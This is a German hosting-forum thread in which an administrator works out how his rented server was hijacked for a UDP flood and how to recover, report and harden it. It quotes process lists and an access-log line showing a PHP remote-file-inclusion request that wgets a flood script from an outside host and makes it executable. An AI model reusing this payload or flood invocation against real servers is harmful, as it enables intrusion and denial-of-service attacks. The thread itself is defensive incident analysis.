Sperrung aufgrund Dos-Attacke bei SERVER4YOU

[BastiD]

Hallo miteinander,

heute wurde mit von Server4you mitgeteilt, dass unser Server aufgrund einer Dos-Attacke gesperrt wurde.
Nachdem ich bereits einige Threads hier im Forum gelesen habe, hoffe ich nun, dass Ihr mir ein paar Tipps geben könnt, wie ich das Problem am schnellsten und kostengünstigsten in den Griff bekomme

Erstmal der Auszug aus dem Mail vom Support:
-----8<---------------------------------------------------------------
# ps -H auxww (Ausschnitt)

apache 31860 0.0 0.1 20952 9948 ? S Aug03 0:00 /usr/sbin/httpd
apache 32657 0.0 0.0 2016 968 ? S Aug03 0:00 sh -c cd /tmp; ./udp.txt 200.155.63.3 80 600 2>&1
apache 32658 0.0 0.0 3856 2036 ? R Aug03 0:00 /usr/bin/perl ./udp.txt 200.155.63.3 80 600
apache 11309 0.0 0.1 20884 9764 ? S Aug03 0:00 /usr/sbin/httpd
apache 13383 0.0 0.0 2016 968 ? S Aug03 0:00 sh -c cd /tmp; ./udp.txt 200.215.17.122 80 600 2>&1
apache 13384 0.0 0.0 3856 2036 ? R Aug03 0:00 /usr/bin/perl ./udp.txt 200.215.17.122 80 600
apache 3197 0.0 0.1 20616 9472 ? S Aug03 0:00 /usr/sbin/httpd
apache 7738 0.0 0.0 2020 968 ? S Aug03 0:00 sh -c cd /tmp; ./udp.txt 200.215.17.122 80 600 2>&1
apache 7739 0.0 0.0 3864 2044 ? R Aug03 0:00 /usr/bin/perl ./udp.txt 200.215.17.122 80 600
apache 13453 0.0 0.1 20496 9216 ? S Aug03 0:00 /usr/sbin/httpd
apache 14323 0.0 0.0 2020 972 ? S Aug03 0:00 sh -c cd /tmp; ./udp.txt 200.215.17.122 80 600 2>&1
apache 14325 0.0 0.0 3864 2044 ? R Aug03 0:00 /usr/bin/perl ./udp.txt 200.215.17.122 80 600

# tcpdump

00:35:39.957696 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
00:35:39.957737 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957739 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957755 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
00:35:39.957756 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957767 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
00:35:39.957811 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957812 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
00:35:39.957824 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957834 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
00:35:39.957852 IP 62.75.152.100.55699 > 200.215.17.122.80: UDP, length 1
00:35:39.957868 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1
...
...
----->8---------------------------------------------------------------

Savemode ist on; Allerding könnte ich mir vorstellen, das das Leck in der open_basedir-Variable ist: Dort habe ich tmp/ für eine Upload-Anwendung freigegeben.

Nun meine Fragen:

• Mein Server wurde nebst Kundeninterface gesperrt - Ich kann also rein gar nichts mehr unternehmen ausser den Support anrufen: Wie kann ich feststellen, wie hoch mein Traffic ist bzw. war?
• Was sollte ich als erstes Tun: Fax mit Auftrag von Neuinstallation/Entsperrung an SERVER4YOU schicken oder zuerst die 0900'er Nummer anrufen (Andere Alternative gibt es nicht)?
• Macht eine Strafanzeige Sinn und wenn ja mit welcher Erfolgsaussicht (Erfahrungen)?
• Wie komme ich (Bei Neuinstallation) an die LOG-Dateien um Beweismittel für eine Strafanzeige zu sichern ohne 3x39€ für die Datensicherung vor der Installation zu blechen - Oder ist SERVER4YOU generell verpflichtet, mir diese zur Verfügung zu stellen?
• Wie kann ich den obigen Auszug deuten und daraus die Ursache ableiten um nach einer Neuinstallation künftige Hacks zuverhindern?

Speziell zu dem Fax, welches ich schicken soll um den Server wieder freischalten zu lassen. Darin muss ich folgende Erklärung abgeben und eine der drei Möglichkeiten ankreuzen:
-----8<---------------------------------------------------------------
Der Zugriff auf das von mir gemietete System wurde aufgrund des
im vorstehenden Ticket ausgeführten Sachverhalts vorübergehend
gesperrt.
Ich wurde ausdrücklich darauf hingewiesen, dass ich für Admini-
stration und Sicherheit meines Servers selbst zuständig bin und
hierfür die Verantwortung trage. Durch den der Sperrung zugrunde
liegenden Vorfall habe ich diese, mir obliegende vertragliche Pflicht
nicht erfüllt.
Um die von dem von mir angemieteten Server ausgehende Störung
zu beseitigen, bitte ich um eine der folgenden Lösungen:
----->8---------------------------------------------------------------

• Neuinstallation des Systems ohne Datensicherung
  Entbinde ich SERVER4YOU mit der Erklärung des obigen Textes und Beauftragung dieser Maßnahme, von einer ggf. geltenden Protokollierpflicht?
• Neuinstallation des Systems mit kostenpflichtiger Datensicherung¹ (drei Arbeitseinheiten zu je 39,-)
  Das ist klar (obwohl völlig überteuert und hierbei schamlos die Not der Kunden ausgenutzt wird)
• Ich übernehme eigenverantwortlich die Bereinigung. Das System wird dafür kostenfrei in das Recovery-System gestartet. (Nicht für Windows-Rechner verfügbar!)
  Was hat es mit diesem Punkt auf sich?

Da ich ausgerechnet jetzt keinen Zugriff auf mein Kundeninterface habe um dort die F.A.Q. zu lesen, hoffe ich nun Ihr könnt mir weiterhelfen

PS: Wir haben in 2 Wochen eine Großveranstaltung und unsere Adresse wurden in sämtlichen regionalen Printmedien veröffentlicht - ziemlich dumme Situation jetzt gerade


Gruß,

BastiD

 

[charli]

Hallo,

Ich übernehme eigenverantwortlich die Bereinigung. Das System wird dafür kostenfrei in das Recovery-System gestartet.

das ist die sinnvollste Lösung, Du kannst die Daten sichern und das System anschließend neu aufsetzen, zudem scheinen keine (zusätzlichen) Kosten anzufallen.

Der Server wird in ein Mini-Linux gebootet welches garantiert sauber ist, darin kannst Du Deine Festplatte mounten, eine Komplettsicherung erstellen, auslagern (Backupspace, anderer Server usw), anschließend das System neu aufsetzen lassen und deine Daten wieder aufspielen.

Allerdings sollten keine Dateien ohne sorgfältige Prüfung aus dem Backup übernommen werden, besser die Daten aus sicher sauberen Quellen neu holen.

Im Recovery-System nur eine oberflächliche Reparatur durchführen und den Server ohne komplette Neueinrichtung wieder laufen lassen ist technisch möglich, aber nicht empfehlenswert. Sollte es dann wieder zu Angriffen kommen, könnte der Provider größere Probleme machen (Forensuche).

 

[V40]

Hallo,

nun werde ich auch mal meine Senf zu einem Part abgeben

Von einer Anzeige würde ich absehen da ich davon ausgehe das die keinen Erfolg bringen wird.

Die IP 200.215.17.122.80 die das ganze verursacht hat ist, laut DNSStuff unbekannt.
WHOIS - 200.215.17.122.80

Da ich gerne Abuse Mails schreibe, also mit anderen Worten mich immer bei der Zuständigen Stelle über Einbruchsversuche beschwere, würde dort schon das erste Problem auftauchen. An wenn willst du dich wenden (oder an wen soll sich die ermittelnde Behörde wenden) um Schadensersatz oder ähnliche Dinge geltend zu machen?

Ansonsten würde ich auch den Rescue-Modus vorziehen.
Du kommst noch an alle deine Daten ran und auch an alle Logs.
Wenn das geschehen ist würde ich ein sauberes System aufsetzen und alles versuchen wieder herzustellen.

Wobei auch ich, wie es charli schon sagte, darauf hinweisen möchte das du deine "alten" Daten sehr genau prüfen solltest bevor du die wieder "in Betrieb" nimmst.

 

[BastiD]

Rescue Modus (Recovery-System)

Hallo miteinander,

kann ich, wenn der Server durch SERVER4YOU im Resue-Modus wieder freigeschaltet wurde, auf das Kundeninterface zugreifen um von dort aus eine Neuinstallation zu starten?


Gruß,

Basti

 

[Gisol]

00:35:39.957696 IP 62.75.152.100.57389 > 200.215.17.122.80: UDP, length 1

Wenn ich mich jetzt nicht ganz stark irre, ist 57389 der Quell- und 80 der Zielport.
Die IP um den Zielport bereinigt gibt bei mir was aus Brasilien
Damit hast du allerdings nicht den Verursacher, sondern den geDOSten.

 

[haustier]

Hacks zuverhindern?

- Zeitpunkt des Angriffs erforschen
- Apache Logfiles nach verdächtigen Aktionen durchforsten (Upload von udp.txt, da du sagtest für uploads freigegeben)

Da solltest du dann eventuell den aufruf eines Skriptes finden können.

Könnte jedoch erschwerend hinzukommen, dass die Daten durch irgendwelche logrotation (Plesk, etc.) verloren gegangen sind.

 

[BastiD]

Hallo nochmal,

ich habe heute abend den Support (0900...) angerufen.
Ich kann ich mich nicht beklagen: Als ich nach ca. 2 Minuten aus der kostepflichtigen Warteschleife raus kam, wurde ich sehr zügig und m.E. nach komepetent beraten.

Der Mitarbeiter bestätige, dass ich aus seiner Sicht die Recovery-Variante nutzen sollte und anschliessend die "udp.txt" Datei aus /tmp löschen muss.
(Ich werde selbstverständlich auch noch /tmp dicht machen)

Meine Frage an Euch:
Ist das Recovery-System selbsterklärend oder muss ich beim abschließenden Reboot etwas beachten.

Das ganze Telefonat hat übrigens keine 5 Minuten gedauert (incl. meiner Suche nach dem Servernamen ).
Allerdings sollte der Gebührenzähler erst ticken, wenn der Mitarbeiter am Apparat ist - Das wäre korrekt!
Für Warteschleifen 1.86€/min zu verlangen hat für mich einen bitteren Beigeschmack.


Gruß,

Basti

 

[V40]

Hallo,

Gisol hat natürlich vollkommen Recht.
Das war ein Flüchtigkeitsfehler meiner Seits.
Zumal ich die Whois Abfrage auf IP und Port gemacht habe, was natürlich kein Ergebniss liefert

Ich töffel


Vielen Dank Gisol für die richtig stellung!

 

[BastiD]

Ich hab Ihn ... und jetzt ?!?

Hallo nochmal,

mein Server geht jetzt wieder und ich habe alle Daten sichern können...
... vor allem die Access-log (www//xxx usw. wurde von mir "geschwärzt"):

195.168.11.131 - - [21/Aug/2006:23:15:07 +0200] "GET /www//xxx/yyy/zzz.php?abs_path=http://parit.org/0000-CMDS/cse.gif?&cmd=cd%20/tmp;%20wget%20http://www.parit.org/0000-DOS/udp.txt;%20chmod%20777%20udp.txt;%20ls%20-la%20|grep%20udp.txt HTTP/1.1" 200 2038 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"

Ripe sagt, das es sich hierbei um einen Slowakischen Provider handelt: Gegen Datensabotage dürfte es aber in der Slowakei auch ein entsprechende Gesetz geben (hoffe ich).

Achtung, falls Ihr auf parit.org geht - Dort ist alles voll mit Hackertools und Viren!


Ich denke, mit diesem Material werde ich auf jeden Fall morgen zu unserem Dorf-Sheriff gehen - Mal sehen, was der dazu meint
Gebt mir bitte noch einen Tipp, was ich am besten alles als Beweismaterial mitbringen sollte.



Gruß,

Basti

 

[charli]

Hallo,

/www//xxx/yyy/zzz.php?abs_path=http://parit.org/......

in der php.ini (falls mehrere vorhanden, in allen)
allow_url_fopen = Off
dann funktioniert dieser (gängige) Angriff nicht mehr.
Ist zzz.php ein selbstgeschriebenes Script (dann besser programmieren) oder Bestandteil eines Forums o. ä. (dann updaten)?

Gegen Datensabotage dürfte es aber in der Slowakei auch ein entsprechende Gesetz geben (hoffe ich).

Möglicherweise, aber es dürfte nicht viel bringen strafrechtliche Schritte gegen einen ausländischen Serverbetreiber zu versuchen.

Möglicherweise ist die Kiste nicht ausreichend gepflegt und wurde gehackt, dann ist der Betreiber zwar ein schlampiger Admin, aber nicht der Angreifer.

Ich denke, mit diesem Material werde ich auf jeden Fall morgen zu unserem Dorf-Sheriff gehen

Der wird sich freuen...

 

[V40]

Hallo,

das wichtigste ist das unverfälschte Log deines Servers.

Zusätzlich vielleicht noch ein Auszug von 'ls -la' im /tmp Verzeichnis, damit man sehen kann das dort die Datei udp.txt zu der Zeit des Zugriffs entstanden ist.

Offtopic:
Also mein Dorfscherge würde mich zum Psychologen schicken weil der Apache, mysql, php und so weiter sicherlich für Aliens hält

 

[blob]

Das ist ganz normal, und schaden tut das, glaub ich, nicht, bei mir wühlen tagtäglich welche im shadow-file rum, oder versuchen (wie zBsp im ersten Beispiel unten, von vorhin) stundenlang mit Brutus oder John mein Password zu knacken .

Völlig sinnlos, denn ich habe überhaupt keins. Die Qualität der Hacker wird auch immer schlechter. Die lächerlichsten Versuche können sich kunftig ihre Nachfolger in den Dateien hacker_imbecil_no._# auf meiner Festplatte angucken




82.209.235.57 - - [23/Aug/2006:20:36:21 -0300] "HEAD / HTTP/1.1" 200 - "" "Mozilla/3.0 (Compatible);Brutus/AET"
82.209.235.57 - - [23/Aug/2006:20:36:21 -0300] "HEAD / HTTP/1.1" 200 - "" "Mozilla/3.0 (Compatible);Brutus/AET"
82.209.235.57 - - [23/Aug/2006:20:36:21 -0300] "HEAD / HTTP/1.1" 200 - "" "Mozilla/3.0 (Compatible);Brutus/AET"



194.224.246.99 - - [22/Aug/2006:12:15:20 -0300] "GET /root/etc/ HTTP/1.0" 200 17917 "http://www.google.es/search?hl=es&q=intitle%3A%22Index+of%22+passwd+passwd.bak&meta=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
194.224.246.99 - - [22/Aug/2006:12:15:46 -0300] "GET /root/etc/passwd- HTTP/1.0" 403 218 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
194.224.246.99 - - [22/Aug/2006:12:15:56 -0300] "GET /root/etc/passwd.bak HTTP/1.0" 403 221 "http://www.monkey.is-a-geek.net/root/etc/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
194.224.246.99 - - [22/Aug/2006:12:16:02 -0300] "GET /root/etc/passwd.bak HTTP/1.0" 403 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
194.224.246.99 - - [22/Aug/2006:12:16:05 -0300] "GET /root/etc/passwd.bak HTTP/1.0" 403 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
194.224.246.99 - - [22/Aug/2006:12:16:15 -0300] "GET /root/etc/passwd.bak HTTP/1.0" 403 221 "http://www.monkey.is-a-geek.net/root/etc/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

 

[V40]

Hallo,

Das ist ganz normal, und schaden tut das, glaub ich, nicht, bei mir wühlen tagtäglich welche im shadow-file rum, oder versuchen (wie zBsp im ersten Beispiel unten, von vorhin) stundenlang mit Brutus oder John mein Password zu knacken .

1. Hier hat niemand versucht ein Passwort zu ergattern.
Es geht hier um eine Denial of Service Attacke!

2. Ist es sehr wohl nicht gerade förderlich wenn ein Passwort in die falschen Hände gerät.

3. Ist es immer noch ein gravierender Unterschied ob "@Home-Hosting" oder eben ein Server im Internet.


Bitte bitte bitte blob, tu mir den gefallen und lese doch mal worum es hier eigentlich geht bevor du dich dazu äusserst.
Ich mache auch meine Fehler, aber nicht in jeder zweiten Antwort